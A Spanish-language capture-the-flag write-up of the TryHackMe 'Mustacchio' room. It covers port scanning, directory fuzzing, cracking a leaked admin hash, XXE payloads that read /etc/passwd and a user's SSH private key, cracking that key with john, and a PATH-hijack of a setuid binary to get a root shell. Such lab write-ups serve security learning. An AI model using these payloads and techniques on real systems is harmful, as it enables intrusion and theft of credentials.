Mustacchio


January 18, 20234 minutes

https://tryhackme.com/room/mustacchio

IP Atacante = 10.10.10.10

IP Víctima = 10.10.3.160

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.131.18

PING 10.10.131.18 (10.10.131.18) 56(84) bytes of data.
64 bytes from 10.10.131.18: icmp_seq=1 ttl=63 time=372 ms

--- 10.10.131.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 371.643/371.643/371.643/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.131.18 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.131.18
   5[*] Open ports: 22,80,8765
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,80,8765 -sC -sV 10.10.131.18

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 581b0c0ffacf05be4cc07af1f188611c (RSA)
|   256 3cfce8a37e039a302c77e00a1ce452e6 (ECDSA)
|_  256 9d59c6c779c554c41daae4d184710192 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

Al entrar a la web lo primero que vemos es lo siguiente:

Con wfuzz vamos a buscar subdirectorios

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.131.18/FUZZ

Entre todos los que encuentra hay uno llamdo custom que dentro tiene una carpeta llamada js y css. Dentro de js hay un archivo llamado users.bak. Al descargarnoslo con un strings podemos ver un usuario (admin) y un hash

Ese hash podemos probar de romperlo con la herramienta search the hash

Puerto 8765

Dentro de este puerto hay otra web con un panel de login al cual podemos entrar con las credenciales que hemos conseguido antes. Al entrar vemos lo siguiente:

Si lo dejamos en blanco sale una notificación que dice que tenemos que poner código XML

Viendo que abajo salen tres variables (Nombre, Autor y Comentario) podemos probar de poner un código XML con esos apartados.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>test1</name>
  <author>test2</author>
  <com>test3</com>
</comment>

Podemos probar de hacer una inyeccion xxe con el siguiente código xml para que muestre el archivo /etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "file:///etc/passwd"> ]>
<comment>
  <name>&testxxe;</name>
  <author>test2</author>
  <com>test3</com>
</comment>

¡Funciona!

Usando lo mismo podemos ver la “RSA PRIVATE KEY”. Esta vez en vez del “file://” he usado “php://filter/convert.base64-encode/resource=/” para que no pierda la estructura.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "php://filter/convert.base64-encode/resource=/home/barry/.ssh/id_rsa"> ]>
<comment>
  <name>&testxxe;</name>
  <author>test2</author>
  <com>test3</com>
</comment>

La respuesta está encriptada con base64. La podemos desencriptar de la siguiente forma

echo "Respuesta en base64" | base64 -d

La respuesta la guardamos en un archivo llamado id_rsa y le hacemos un chmod 400 id_rsa.

La “RSA PRIVATE KEY” está encriptada, la podemos desencriptar con john:

ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Ya tenemos unas credenciales para conectarnos por ssh

Escalada de privilegios

Dentro de /home/joe hay un archivo interesante

barry@mustacchio:/home/joe# file live_log

live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped

Con el comando strings podemos ver cadenas de texto, En una línea se ve como ejecuta tail sin poner la ruta completa, nos podemos aprovechar de esto creando un tail en /tmp y añadiendo el /tmp en el path, de esta forma podremos ejecutar lo que queramos como root.

echo "/bin/bash" > /tmp/tail
chmod +x /tmp/tail
export PATH=/tmp:$PATH

¡Ya somos root!